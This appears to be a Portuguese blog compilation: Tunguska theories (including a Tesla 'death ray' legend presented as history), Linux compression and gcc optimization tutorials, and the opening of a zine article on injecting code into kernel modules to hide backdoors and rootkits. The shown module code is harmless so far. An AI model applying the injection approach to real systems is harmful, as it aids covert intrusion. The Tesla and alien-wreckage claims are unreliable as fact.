Mais recente que a teoria da bola de neve a do “buraco negro” , apresentada pelos físicos norte-americanos A. A. Jackson e Michael Ryan Jr., ambos da Universidade do Texas. 0 grande problema dessa tese é que a ciência nâo sabe o que são os chamados “buracos negros” existentes no céu. Tudo o que existe até agora sobre esse fenômeno sideral sâo conjecturas.

Explicar o incompreensível por meio de algo desconhecido não faz sentido. Aliás, na própria palavra buraco está implícita a idéia de inexistência. Então, nosso planeta teria sido atingido por algo que não existe? “Buraco negro” é uma região do céu onde aparentemente não existe nada, exceto a tal negritude que lhe dá o nome, mas de onde ; provem poderosas emissões de raios X perfeitamente captáveis na Terra. Várias hipóteses têm sido levantadas na tentativa de explicar o que sejam esses pontos do espaço. Segundo uma delas, os “buracos negros” sâo astros constituídos por anti matéria de estrutura nuclear inversa à da matéria comum, o que os torna invisíveis aos nossos olhos. Se isso for correto estaria certa a teoria de Atluri e Cowan de que a desintegraçâo de um corpo sideral de anti matéria ocorrida em era remota teria lançado fragmentos por todo o espaço, um dos quais acabou se chocando com a Terra.

De acordo com outra hipótese, os “buracos negros” são corpos celestes formados de uma matéria tão densa e tão extraordinariamente brilhante que os seus raios estarianü situados numa faixa não perceptível aos nossos olhos . Daí a razâo pela qual, nos pontos do espaço ocupados por eles; tem a impressâo de que há uma espécie de vácuo ou buraco. Impressão falsa, corno o demonstram fortes ondas de rádio precedente desses pontos . Os físicos Jackson e Ryan Jr. inclinam-se por essa teoria ao dizer que o vale entre as bacias do Tunguska e do Lena teria sido atingido por um fragmento de “buraco negro” menor que a cabeça de um alfinete, mas pesando bilhões de toneladas em virtude de sua densi dade.

Esse micro meteoro, ao penetrar na atmosfera terrestre, teria provocado ondas de choque e produzido uma coluna incandescente e azulada extremamente quente, ao se deslocar È velocidade de 40 mil quilômetros por hora. Simples grão de poeira cósmica, penetrou no solo sem deixar vestígio, atravessou o planeta e continuou sua viagem sem rumo e sem fim pelo universo. Segundo os físicos americanos, não foi o impacto com o solo que cau sou o cataclismo e sim a deflagração de ondas de choque decorrentes do aquecimento súbito da atmosfera no ponto em que surgiu a coluna ígnea gerada pelo deslocamento do corpúsculo.

Teoria ousada, sem dúvida, mas não destituída de fundamento Para apoiá-la, os dois cientistas estudaram os depoimentos de testemunhas da época: Velhos moradores de Tunguska recordararn-se de que naquela manhã tiveram sua atenção despertada por uma sucessão de explosões vindas do céu. Olhando para cima, virarn uma longa e fina coluna de fogo ázulado riscando o firmamento de alto a baixo, ao mesmo tempo que um trovão intermitente e profundo parecia abalar o próprio mundo. Até que a faixa incandescente atingiu a Terra em algum ponto além do horizonte, deixando atrás de si a terra queimada e arrasada.

Ao lado dessas teorias , todas plausiveis embora discutíveis; há os que vêem naquele fenôrneno nada mais do que uma explosão nuclear; de potência ignorada, na época como agora. Acontece que a primeira bomba atômica construída pelo Homem explodiu à 16 de julho de I945, ou seja, 37 anos depois e, ainda assim, a energia liberada peto artefato deflagrado em Alamogordo, nos Estados Unidos, equivalia a 20 mil toneladas de dinamite, bem inferior à explosão ocorrida em Tunguska.

A conclusão é inevitável: se o fenômeno observado naquela regïão siberiana foi o resultado de uma deflagração nuclear, tem-se necessariamente de admitir que esta terá sido provocada por uma inteligência extraterrestre. Mas por quem e por que? Duas hipóteses procuram explicar o que teria ocorrido. Uma delas, apresentada pelo professor Liapunov, da União Soviética, diz que um aparelho vindo de outro planeta, impulsionado a energia nuclear, teria sofrido uma pane, se desgovernado e precipitado a uma velocidade vertiginosa, provocando a incandescência da nave pelo atrito com a atmosfera . Não se encontrou nenhum vestígio na área por que o combustível atômico se desintegrou ao explodir ao choque contra o solo, volatilizando aparelho e tripulantes.

A segunda hipótese , recebida com reservas mesmo pelos que defendem a existência de seres extra-terrenos inteligentes, afirma que o estranho objeto que explodiu na Terra foi urn míssel disparado de outro planeta, acidental ou propositadamente.

Bomba atômica fabricada na Terra, aparelho acidentado ou míssil extraterrestres , a hipótese de explosão nuclear ganhou certo peso depois que pesquisas realizadas por cientistas norte-americanos , em meados da década passada, revelaram que , após a explosão de 1908 , houve um aumento elevado de radioatividade na atmosfera, conforme análises feitas em amostras vegetais da época. Mas nem isso leva a uma conclusão definitiva.

E a duvida permanece: cometa , meteoro , particula de anti-matéria, “buraco negro”, disco voador , ou o que?

Por enquanto, só uma certeza : alguma coisa explodiu na Terra naquela manhã de 1908 e até hoje ninguém sabe o que foi.

Diga-se que vêm a propósito a seguinte noticia em http://www.tsf.pt/online/ciencia/interior.asp?id_artigo=TSF153216

CIÊNCIA Descobertos destroços de nave extra-terreste, segundo russos Cientistas russos afirmam que encontraram os destroços de uma nave espacial extra-terrestre que se despenhou em 1908 em Tunguska, na Sibéria, anunciou quarta-feira à noite a agência noticiosa Interfax. ( 10:19 / 12 de Agosto 04 )

Os cientistas, ligados ao Fundo do Fenômeno Espacial de Tunguska, encontraram também no local uma pedra de 50 quilos que levaram para análise em Krasnoyarsk, na Sibéria.

O cataclismo de Tunguska, ocorrido numa zona desértica da Sibéria, continua a constituir um dos maiores mistérios científicos do século XX.

A 30 de Junho de 1908, o que se julga ter sido um meteorito explodiu a alguns quilômetros de Tunguska, provocando uma onda de choque sentida em centenas de quilómetros em redor e devastando uma zona de dois mil quilômetros quadrados de floresta siberiana.

A natureza exata do corpo que explodiu e a sua origem continuam um verdadeiro mistério.

fonte

Existe a historia de um físico chamado nikola tesla, em que é falado sobre o “raio da morte”:

“O Raio da Morte:

Uma vez que as invenções de Tesla geralmente continham em sí um elemento de consciência social, ou obra pela humanidade, pode parecer surpreendente que ele tenha criado uma série de dispositivos com aplicações militares, e a noção de Tesla utilizando seu gênio para propósitos bélicos é imensamente assustadora. Afinal, este é o homem que se vangloriava do fato que seu gerador ressonante poderia dividir a Terra ao meio, e ninguém até hoje soube ao certo se ele estava brincando.

A primeira invenção de Tesla com propósito militar utilizava uma espécie de automação tecnológica, com a qual o trabalho de seres humanos poderia ser substituído por máquinas. Especificamente, Tesla produzia barcos e submarinos controlados remotamente. Ele demonstrou o navio por controle remoto em uma exposição no Madison Square Garden, em 1898. O aparato era tão avançado que até mesmo usava uma espécie de reconhecimento vocal para responder aos comandos verbais de Tesla e voluntários do público.

Em público, Tesla falou das virtudes humanitárias da invenção: ela iria impedir que vários trabalhadores arriscassem suas vidas. Mas Tesla realmente estava esperando um contrato com o exército dos Estados Unidos. Em uma apresentação para o departamento de guerra, Tesla argumentou que sua invenção poderia obliterar a armada espanhola, e acabar com a guerra com a Espanha em uma tarde. O governo nunca aceitou a oferta de Tesla.

Tesla, então, deciciu direcionar o submarino automático à industria privada, e procurou a aprovação de J. P. Morgan. Segundo contam, Morgan ofereceu-se para fabricar os barcos de Tesla se este se casasse com sua filha. Tal acordo era um anátema a Tesla, e os dois nunca mais trabalhariam juntos até Wardenclyffe, alguns anos mais tarde.

Tesla eventualmente conseguiu um contrato militar bem sucedido: com a marinha alemã, O produto não eram seus barcos a controle remoto, mas turbinas sofisticadas que o almirante Von Tirpits usou com grande sucesso em sua armada de navios de guerra. Depois que J. P. Morgan cortou seu apoio a Tesla, este contrato tornou-se sua única fonte de renda. Quando do advento da primeira guerra mundial, Tesla cancelou seu contrato com os alemães, para não ser acusado de traição.

Quase falido e observando os Estados Unidos à beira da guerra, Tesla sonhou com outra invenção que pudesse interessar os militares: o raio da morte.

O mecanismo por detrás do raio da morte não é bem compreendido até hoje. Ele era aparentemente uma espécie de acelerador de partículas. Tesla disse que ele era uma melhoria de seu transformador amplificador, que concentrava energia em um fino raio tão concentrado que ele não se dispersaria, mesmo a grandes distâncias. Ele o promoveu como uma arma puramente defensiva, com a intenção de impedir ataques, fazendo de seu raio da morte o tataravô da defesa estratégica.

Não se sabe ao certo se Tesla usou seu raio da morte, ou se ele sequer chegou a contruí-lo. Mas o seguinte é a história geralmente relatada do que aconteceu naquela noite em 1908, quando Tesla testou sua arma.

Naquela época, Robert Peary estava fazendo sua segunda tentativa em se chegar ao polo norte. Criptocamente, Tesla notificou a expedição que eles estariam tentando entrar em contato com eles de alguma forma, e eles deveriam relatar qualquer coisa incomum que eles observassem. Na noite de 30 de junho, acompanhado por seu associado, George Scherff, na torre de Wardenclyffe, Tesla apontou seu raio através do atlântico, para o ártico, a um ponto calculado como estando a oeste da expedição de Peary.

Tesla ligou o equipamento. De início, era difícil dizer que ele estava funcionando. Sua extremidade emitiu uma luz pálida, dificilmente notável. Então, uma coruja voou de seu ninho no topo da torre, na direção do raio, e foi desintegrada instantâneamente.

Isso concluiu o teste. Tesla observou os jornais e enviou telegramas para Peary na esperança de confirmar a efetividade do raio da morte. Nada apareceu. Tesla estava pronto para admitir derrota quando recebeu notícias de um estranho evento ocorrido na Sibéria.

Em 30 de junho, uma enorme explosão havia devastado Tunguska, uma área remota na floresta da Sibéria. Quinhentos mil acres quadrados de terra foram instantâneamente destruídos, o equivalente a quinze megatons de TNT. O incidente de Tunguska é a mais poderosa explosão ocorrida na história, nem mesmo subsequentes explosões termonucleares ultrapassaram sua força. A explosão foi audível a 930 quilômetros de distância, aproximadamente.Os cientistas crêem que ela foi causada por um meteorito ou fragmento de um cometa, embora nenhum impacto evidente ou restos minerais de tal objeto jamais tenham sido encontrados.

Nikola Tesla tinha uma explicação diferente. Ela claro para ele que seu raio da morte tinha ultrapassado seu alvo calculado e atingido Tunguska. Ele ficou extremamente grato que a explosão, miraculosamente, não matou ninguém. Tesla desmontou o raio da morte imediatamente, crendo-o muito perigoso para continuar existindo.

Seis anos mais tarde, o fim da primeira guerra fez com que Tesla reconsiderasse. Ele escreveu ao presidente Wilson, revelando o segredo do teste do raio da morte, orefecendo-se para reconstruí-lo para o departamento de Guerra. A mera ameaça de tamanha força destrutiva faria com que as nações em guerra concordassem em estabelecer-se a paz imediatamente.

A única resposta de Tesla à sua proposta foi uma carta formal de apreciação da secretária do presidente. O raio da morte nunca foi reconstruído, supondo que ele tenha sido construído, em primeiro lugar.

Tesla fez mais uma tentativa de ajudar seu país na guerra em 1917. Ele concebeu uma estação emissora que emitiria ondas exploratórias de energia, permitindo que seus operadores determinassem com precisão a localização de veículos inimigos distantes. O departamento de guerra riu-se e rejeitou o “raio explorador” de Tesla.

Uma geração mais tarde, esta mesma invenção ajudaria os aliados a vencer a segunda guerra mundial. Ela era chamada radar.”

Informações um pouco mais recentes sobre o ocorrido.

“Uma expedição de cientistas italianos pode ter encontrado, em um lago da Sibéria, a explicação para o chamado “evento de Tunguska” – uma explosão que ocorreu sobre o norte da Rússia em 1908, destruindo vegetação por mais de 2.000 km2 e gerando tremores de terra e uma luz súbita nos céus, observada em partes da Europa e da Ásia.
Cientistas acreditam que o evento tenha sido causado pela desintegração de um cometa ou asteróide a uma altitude de 5 km a 10 km na atmosfera, mas nenhum fragmento ou vestígio do corpo jamais foi encontrado, o que fez do evento um tema popular entre aficionados de óvnis. Tunguska também aparece em diversas obras de ficção, de um romance de Thomas Pynchon ao seriado de TV Arquivo X.
Agora, em artigo na revista online Terra Nova, pesquisadores liderados por Luca Gasperini, da Universidade de Bolonha, sugerem que o Lago Cheko, 8 km ao norte do provável epicentro do evento, pode ser a cratera aberta por um pedaço do corpo responsável pela explosão no ar.
Sondagens realizadas no lago pelos cientistas italianos durante uma expedição em 1999, descritas no artigo, sugerem que o lago preenche uma cratera aberta por um impacto. O trabalho dos pesquisadores, ressaltando que a região é remota e pouco habitada, diz que não se sabe se o Cheko já existia antes de 1908, e que sua primeira citação em mapas data de 1928.
Com base nas características do lago, a equipe de Gasperini sugere que a cratera foi aberta por um asteróide de 1.500 toneladas e 10 metros de diâmetro – no máximo: o terreno é pantanoso, e a cratera pode ter se expandido, com o desgaste do solo ao redor da borda original.
Os cientistas reconhecem, no entanto, que será necessário realizar uma perfuração no leito do lago para determinar se se trata realmente de uma cratera de asteróide, com a descoberta de um fragmento do meteorito original ou de solo compactado pelo impacto.”

Fonte

Bom é isso galera tirem suas conclusões sobre oque realmente aconteceu em tunguska.

Recomendo leitura dos seguintes artigos:

Sibéria 1908

Lago pode explicar mistério do OVNI de 1908 na Sibéria

Tunguska event

Revista Galilleu 1999 edição de Janeiro.

[]’s

Compactação de arquivos no Linux

Introdução

Os iniciantes no Linux podem ficar um pouco confusos devido a grande variedade de extensões existentes dos arquivos compactados. Essa confusão pode surgir principalmente quando alguém baixa um arquivo e não sabe que comando usar para extraí-lo.

Vou me esforçar para esclarecer um pouco esse assunto com o objetivo de fornecer alguma ajuda para quem está começando a experimentar o Linux.

Pode parecer um pouco complicado no início, mas esse artigo resume bem praticamente tudo o que você precisa saber sobre compactação de arquivos no Linux. Se ler o artigo com atenção, não importa que formato você encontre, você saberá o que fazer sem precisar ficar buscando ajuda.

Caso não saiba o que é compressão (ou compactação) de arquivos, aí vai uma explicação rápida:

Compressão significa reunir um ou mais arquivos, usando algum programa que irá eliminar as redundâncias de dados desses arquivos, fazendo com que eles ocupem menos espaço. Ao invés de ter vários arquivos, você pode ter um só arquivo comprimido que inclui muitos. Um arquivo comprimido possui extensões que o identificam, por exemplo: .gz e .zip.

TAR – Armazenando vários em um

TAR (Tape ARchive) é um formato muito usado para armazenar vários arquivos em um. Esse processo é chamado de arquivamento.

Para armazenar vários arquivos em um, use um comando, por exemplo:

$ tar -cf nomedoarquivo.tar arquivo1 arquivo2 arquivo3

Este comando combina arquivo1, arquivo2 e arquivo3 e armazena-os em nomedoarquivo.tar. O parâmetro -c indica que queremos criar um arquivo e o parâmetro -f indica que estamos manipulando arquivos.

E para extrair esses arquivos?

Use o comando:

$ tar -xf nomedoarquivo.tar

Para extrair todos os arquivos de nomedoarquivo.tar no diretório atual.

Caso ache difícil lembrar os parâmetros, aqui vai algumas dicas:

• -c lembra criar
• -f lembra “Files” (arquivos em inglês)
• -x lembra eXtrair

Compactação de arquivos

No Linux, bz e gz são formatos comuns de compressão. Normalmente você usa o utilitário bzip2 para criar arquivos bz e o gzip para criar arquivos gz. O bzip é capaz de comprimir mais que o gzip, porém consome mais memória no processo.

Para comprimir um arquivo usando o gzip, use o comando:

$ gzip nomedoarquivo

O resultado é um arquivo chamado nomedoarquivo.gz. Por exemplo, o comando:

$ gzip imagem.jpg

Irá criar o arquivo comprimido imagem.jpg.gz.

Porém, uma observação: ele não irá apenas criar o arquivo gz, mas também irá substituir o arquivo original pelo arquivo comprimido.

Para descompactar o arquivo, use o comando:

$ gunzip nomedoarquivo.gz

Ou então o comando:

$ gzip -d nomedoarquivo.gz

Comprimir com o bzip2 é semelhante ao gzip. Basta usar o comando:

$ bzip2 nomedoarquivo

Assim como o gzip, o bzip2 também substitui o arquivo original pelo arquivo comprimido.

Para descompactar um arquivo bz, você pode usar o comando:

$ bzip2 -d nomedoarquivo.bz2

Ou então:

$ bunzip2 nomedoarquivo.bz2

Como o processo de utilização do gzip e do bzip2 são semelhantes, fica fácil aprender os dois. Basta praticar com algum arquivo, duas ou três vezes para pegar o jeito.

Você também pode usar o utilitário zip para compactar arquivos. O que pode ser bem útil se você quiser compartilhar arquivos com pessoas que não usam Linux. Para compactar arquivos com o zip, use um comando:

$ zip arquivos.zip arquivo1 arquivo2 arquivo3

Esse comando irá não só comprimir os arquivos (arquivo1, arquivo2 e arquivo3), mas irá armazená-los num arquivo chamado arquivos.zip. Ou seja, além de comprimir, ele arquiva.

Para extrair arquivos zip, use o comando:

$ unzip arquivos.zip

Compactando arquivos tar

Lembre-se que o TAR não comprime, ele apenas arquiva. Já o ZIP comprime e também arquiva.

Isso quer dizer que depois que você criar um arquivo tar, seu tamanho é o mesmo que o tamanho da soma dos arquivos originais.

Para reduzir o tamanho de um arquivo tar, você precisa compactá-lo com gzip ou bzip2:

Exemplo:

$ tar arquivos.tar arquivo1 arquivo2 arquivo3
$ gzip arquivos.tar

O primeiro comando irá arquivar os arquivos (arquivo1, arquivo2 e arquivo3) em um arquivo chamado arquivos.tar.

O segundo comando irá comprimir o arquivo.tar e o substituirá por arquivos.tar.gz. Você também pode usar o bzip para compactar arquivos tar.

Como se extrai arquivos a partir de um arquivo tar compactado? Use o comando:

$ tar -zxvf arquivos.tar.gz

Para extrair todos os arquivos gzip a partir de um arquivo tar compactado. O parâmetro -z informa que o arquivo tar foi comprimido usando o gzip.

E se o arquivo tar foi comprimido com bzip? Nesse caso o comando é outro, na verdade o que muda em relação ao comando anterior é uma letra: ao invés de usar -z use -j, por exemplo, para descompactar um arquivo tar que foi comprimido com o bzip:

$ tar -jxvf arquivos.bz2

Você pode ainda encontrar arquivos tar compactados com tgz e tbz2. Estes formatos na verdade são os mesmos de tar.gz e tar.bz2, respectivamente.

Bem, é isso.

Caso perceba algum erro, por favor, me corrija. Também aceito críticas construtivas e informações complementares.

Obrigado pela atenção.

=)

Fonte

Autor:Xerxes Lins

Otimização de Executáveis com o gcc,explicações e definições.

Recentemente um amigo me perguntou sobre “como eu faço para deixar um executável mais rápido no Linux” ,isso me intrigou,não conhecia muito sobre isso então comecei-a pesquisar mais sobre a otimização de executáveis ,encontrei muitas informações é irei apresenta-la em um tutorial,para ficarem mais claras.

O GCC é o melhor compilador que existe(sem duvida nenhuma),ele é composto por ferramentas de compilação,assembler e de linkagem,sua função é produzir executáveis prontos parar “rodar” em um formato aceito pelo SO(as formas de execução é a estrutura de um binário variam de acordo com o SO),o seu modo de operação se divide em 4(quatro) etapas,em geral executadas em seqüência e automaticamente pelo compilador:

• Preprocessamento:Nesta etapa ocorre a produção do código que já não possui diretivas,coisas como “#if” não podem ser entendidos diretamente pelo compilador,portanto,será traduzida para o código da maquina.

• Compilação:passo em que o compilador traduz o programa em texto para um arquivo objeto,o qual contém todas as referências de códigos e bibliotecas utilizadas.

• Assembler:Aceita os assembly mnemônicos é produz o código contendo opcodes.É comum o equivocos causados pelo compilador,como não produzir os opcodes,o estágio de assembler “limpa sujeira” causa pelo compilador.

• Linkagem:nome adaptado do inglês,linking,que transforma um arquivo objeto em executável,preenchendo todas as referências e gerando o código completo.

Agora que conhecemos um pouco mais sobre o funcionamento do GCC(recomendo o bom é velho man gcc,para mais informações),vamos ao oque interessa,as otimizações do executável.

Obs:É importante verificar a sua versão do gcc,pois nem todas as flags do gcc 3.x funcionam no gcc 2.x,então é importante saber as flags que a sua versão do gcc suporta.

Para saber a versão de GCC, digite:

$ gcc --version ou gcc -v

Para saber informação sobre o processador:

$ cat /proc/cpuinfo

Agora com as informações sobre o processador é a versão do gcc podemos dar continuidade.

O que são CFLAGS?

CFLAGS são flags do compilador C, geralmente opções do GCC (GNU Compiler Collection). CFLAGS podem ser usadas para customizar e otimizar aplicações quando você as constrói pelos fontes. (Esta é uma importante característica de algumas distribuições,como o gentoo ,já que a maioria dos pacotes são instalados a partir do código-fonte nestes).CFLAGS são geralmente usadas para especificar a arquitetura de seu computador, bem como o tipo de CPU usada e qualquer outra opção especial que se queira habilitar ou desabilitar. Esta informação é importante para o GCC diz a ele exatamente como customizar as instruções de montagem que ele cria através do código-fonte da aplicação. Tecnicamente o GCC pode rodar sem nenhuma CFLAG, já que são opções extra.

Otimizações Básicas (seguras)

Existem diversas opções de otimização básicas consideradas seguras para o uso geral. A primeira delas é -O (letra, não número). Para ver exatamente quais flags de otimização são habilitadas a cada um dos níveis de otimização, bem como uma lista de outras otimizações que podem ser habilitadas, por favor leia a man page do GCC.

-O

-O liga algumas otimizações básicas que não causam grande impacto na velocidade de compilação, e vão aumentar consideravelmente a velocidade do seu sistema. Apesar que não há muita razão para usar -O ao invés de -O2.

-O2

-O2 liga todas as otimizações de -O e todas as outras otimizações que não aumentam muito o tamanho dos binários gerados ou interferem no debugging. -O2 é ainda melhor que -O, e geralmente tão seguro quanto. Este é o nível de otimização mais usado para pacotes e distribuições no mundo Linux e para o kernel Linux. Se você quer um sistema que “apenas funcione”, -O2 provavelmente é bom pra você.

-O3

-O3 liga todas as otimizações de -O2 e ainda algumas otimizações que aumentam o tamanho dos binários gerados além de tornar o debugging mais difícil ou até mesmo impossível. Usar -O3 como deu nível default de otimização pode ser uma má idéia.

-O3 é o nível de otimização mais alto e possivelmente torna o código mais rápido mas as aplicações que se beneficiam disto são muito poucas, geralmente decoders de vídeo e imagem e coisas do tipo. Entretando, os efeitos colaterais, como binários maiores, afetam tudo. Binários maiores ocupam mais memória, carregam mais devagar, causam mais I/O de disco, etc. Então compilar um sistema com -O3 vai ter o efeito de poucas aplicações rodando ligeiramente mais rápidas ao custo do resto do sistema rodando ligeiramente mais devagar e se tornando menos responsivo.

O Linux armazena regularmente programas e arquivos na RAM (este é a parte “cache” quando você executa free -m ), então os programas podem precisar carregar do disco rígido apenas uma vez (dependendo do programa e computador usado). Portanto este é menos um problema em sistemas com grande quantidade de RAM. Um sistema com grande quantidade de cache de CPU também ajuda já que se ajusta melhor a binários maiores, então você acaba notando maior velocidade neles. Então, se você tem um sistema topo-de-linha, você sofrerá menos de problemas associados com -O3.

-Os

-Os otimiza para tamanho. -Os habilita todas as otimizações de -O2 que geralmente não aumentam o tamanho do código e executa ainda mais otimizações desenvolvidas para reduzir o tamanho do código.

-Os é muito útil para aplicações grandes, como o Firefox,KDE,openoffice, já que vai reduzir o tempo de carregamento, uso de memória e cache, uso de disco etc. Código compilado com -Os pode ser mais rápido que com -O2 ou -O3 por causa disso. Também é recomendado para computadores velhos com pouca quantidade de RAM, espaço em disco ou cache de CPU. Mas esteja avisado que -Os não está tão bem testado quanto -O2 e pode levar a bugs de compilação.

Note que apenas uma das flags acima pode ser escolhida. Se você escolher mais de uma, só a última especificada terá efeito.

-fomit-frame-pointer

-fomit-frame-pointer diz ao gcc para omitir frame pointers, liberando um registrador adicional na CPU. Isto é principalmente útil em x86 já que a maioria das arquiteturas, como AMD64, tem isso por default em -O2 ou superior, apesar de o tamanho dos binários poder aumentar ligeiramente. Esta flag quebra o debugging em x86 e possivelmente outras arquiteturas a menos que você compile com gcc 4.x e a flag -fvar-tracking.

Glibc tem uma flag USE: glibc-omitfp. Isto faz a glibc usar -fomit-frame-pointer e algumas outras otimizações para o pacote quando for seguro. Para ler mais sobre otimizar a glibc tente este HOWTO

-march=<sua_arquitetura>

-march dis ao gcc para otimizar para uma certa arquitetura. Basicamente, você apenas precisa saber qual é a sua CPU, e o código GCC para ela. Lembre-se de que esta flag quebra compatibilidade com outras arquiteturas!

Esta flag toma a seguinte forma:

-march=pentium4

Obviamente você substituirá pentium4 pelo código correspondente.

Aqui segue uma lista incompleta de arquiteturas x86 válidas que podem ser usadas com a flag -march:

i386, i486, i586, i686, pentium, pentium-mmx, pentiumpro, pentium2, pentium3, pentium-m, pentium4, prescott, k6, k6-2, k6-3, k8, athlon, athlon-tbird, athlon-4, athlon-xp, athlon-mp, athlon64, opteron, winchip-c6, winchip2, c3.

Caso esteja usando o gcc 4.2 é mais facil e provavelmente(caso não saiba qual a flag mais aproprida) usar:

-march=native

Com isso o gcc ira auto-detectar

Cheque o gcc manual para um alista completa (em Hardware Models and Configurations).

Note: “-march” implica “-mtune” (veja a man page do gcc).

-mtune=/-mcpu=<sua_arquitetura>

-mtune, ou -mcpu em versões antigas do GCC, é similar ao -march e aceita as mesmas opções. Diferente de -march ele não quebra compatibilidde com outras arquiteturas. As opções de -march e -mtune/-mcpu podem ser misturadas para alcançar o efeito desejado. Se você não vai compartilhar seus binários com outros computadores você não precisa desta flag e deve utilizar apenas uma flag -march apropriada. As exceções são arquiteturas como PPC onde -march não está disponível. Veja o Guia de CFLAGs Seguras para mais informações.

Documentação do GCC sobre -march e -mcpu/-mtune

-pipe

A última e mais comum flag é a opção ‘-pipe’. A opção pipe diz ao GCC para não criar arquivos temporários quando compilando, e ao invés disso canalizar (pipe) dados diretamente para a próxima função, o que salva algum tempo de compilação. Esteja avisado que usar -pipe vai fazer o GCC usar mais RAM então não use se isto se você tiver pouca.

CFLAGS comuns para desenvolvedores

-Wall

Isto habilita todos os avisos sobre construções que alguns usuários consideram questionáveis, e que são fáceis de evitar (ou modificar para prevenir o aviso), mesmo em conjunção com macros.

-Wextra

Imprime avisos extras

-Werror

Transforma avisos em erros, e então o GCC irá interromper a compilação após o aviso (porque se tornou um erro).

-ggdb

Inclui toda a informação de debugging possível no binário gerado que é útil para gdb.

Segue abaixo uma tabela com as diferenças técnicas entre O1,O2,O3.

Agora sinta-se a vontade para testar as otimizações.

Fontes:

http://docs.freebsd.org/info//gcc/gcc.info.Optimize_Options.html

http://www.linuxjournal.com/article/7269

http://psydesk.blogspot.com/2007/01/cflag-otimizando-sua-compilao-no-linux.html

http://www.bestlinux.com.br/index.php?option=com_content&task=view&id=1674&Itemid=127&limit=1&limitstart=0

http://gentoo-wiki.com/Safe_Cflags#Safe_CFLAGS_to_use_for_Gentoo

http://www.700km.com.br/mundobizarro/gccopt.php

http://www.onlamp.com/pub/a/onlamp/2007/04/03/getting-familiar-with-gcc-parameters.html

[]’s

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

–=[ Introducao

Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM
nosso, com backdoors, rootkits, ou o que for, e’ colocar isso tudo em um LKM do
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais
dificil.

Neste pequeno texto, veremos de maneira clara (eu espero) como podemos
infectar  um LKM,  adicionando mais funcoes ou modificando-as,  da maneira que
acharmos uteis ao nossos objetivos.

O assunto pode parecer um pouco complexo para iniciantes, entretanto o
que e’ tratado e’ somente o basico. Entao, se ja possui um conhecimento do as-
sunto, e’ mais proveitoso procurar por algo mais avancado para leitura. Conhe-
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-
vel.  Exemplos e citacoes sao feitos  tendo em mente o kernel do GNU/linux,
2.4.x.

–=[ O que sao LKMs

LKMs sao “pedacos” do kernel, que podem ser carregados e descarregados
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo
escritos diretamente no kernel. Entre elas temos:

- Economia de memoria: Pelo fato de ser carregada somente quando necessario,
nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-
temente;
- Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,
entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e
compilados a qualquer momento. Quando se tem problemas com o codigo, e’ possi-
vel fazer um debug dele com facilidade muito maior do que se o codigo estives-
se embutido no kernel. E’ mais rapido descarregar o modulo, modificar o codigo,
recompilar e recarregar o modulo do que reescrever a parte do codigo que esta
no kernel, recompilar tudo e reiniciar o computador!
- Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em
drivers que iremos nos concentrar.

–=[ Inicio – Primeiros Exemplos

A forma mais simples de entender como funciona e’ com exemplos. Inicial-
mente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado
como modulo do sistema, que futuramente sera infectado:

<++> lkm_injection/driver_original.c
/*
 * Simples exemplo de um lkm que nao faz nada,
 * mas poderia ser, por exemplo, um driver de
 * uma placa de rede.
 * Compile com $gcc -O3 -c driver_original.c
*/

#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

static int __init inicio(void)
{
  printk ("<1> Iniciando driver_original \n");
  printk ("<1> Executando funcoes iniciais\n");   
  printk ("<1> Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("<1> Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
<--> lkm_injection/driver_original.c

Antes de carregar o modulo,  e’ interessante ter o syslogd funcionando
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente
/etc/syslog.conf):

    kern.alert   /var/log/alert

Dessa forma poderemos observar melhor as mensagens que serao emitidas  pelo mo-
dulo. Apos isso, compile o codigo e carregue o modulo:

    #gcc -O3 -c driver_original.c
    #insmod driver_original.o

As opcoes passadas para o gcc sao:

||  -O3: Optimize yet more.  -O3 turns on all optimizations specified
|| by -O2 and also turns on the -finline-functions and -frename-registers
|| options. (E’ uma opcao para otimizacao do objeto criado pelo gcc.).
||
||  -c: Compile or assemble the source files, but do not link.  The linking
|| stage simply is not done. The ultimate output is in the form of an object
|| file for each source file.

As seguintes mensagens devem aparecer em ‘/var/log/alert’ (ou nao, elas
ainda podem aparecer em outro arquivo de log, sinistramente):

Nov 14 17:24:57 matrix kernel:  Iniciando driver_original
Nov 14 17:24:57 matrix kernel:  Executando funcoes iniciais
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a
suas funcoes

Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-
ra injetado no driver_original.o:

<++> lkm_injection/infector.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo.
*/

#define MODULE
#define __KERNEL__

#include <linux/kernel.h>
#include <linux/module.h>

int init_module(void)
{
  printk ("<1> Iniciando funcoes do modulo injetado\n");
  return 0;
}
<-->lkm_injection/infector.c

Observe que o modulo anterior possui apenas uma funcao, a init_module.
Essa funcao e’ a equivalente a “main()” em um programa em C comum,  ou seja, e’
a primeira funcao a ser executada na execucao do modulo, que no caso e’ o car-
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-
tes do descarregamento do modulo.  Essa funcao e’ a “cleanup_module()”.

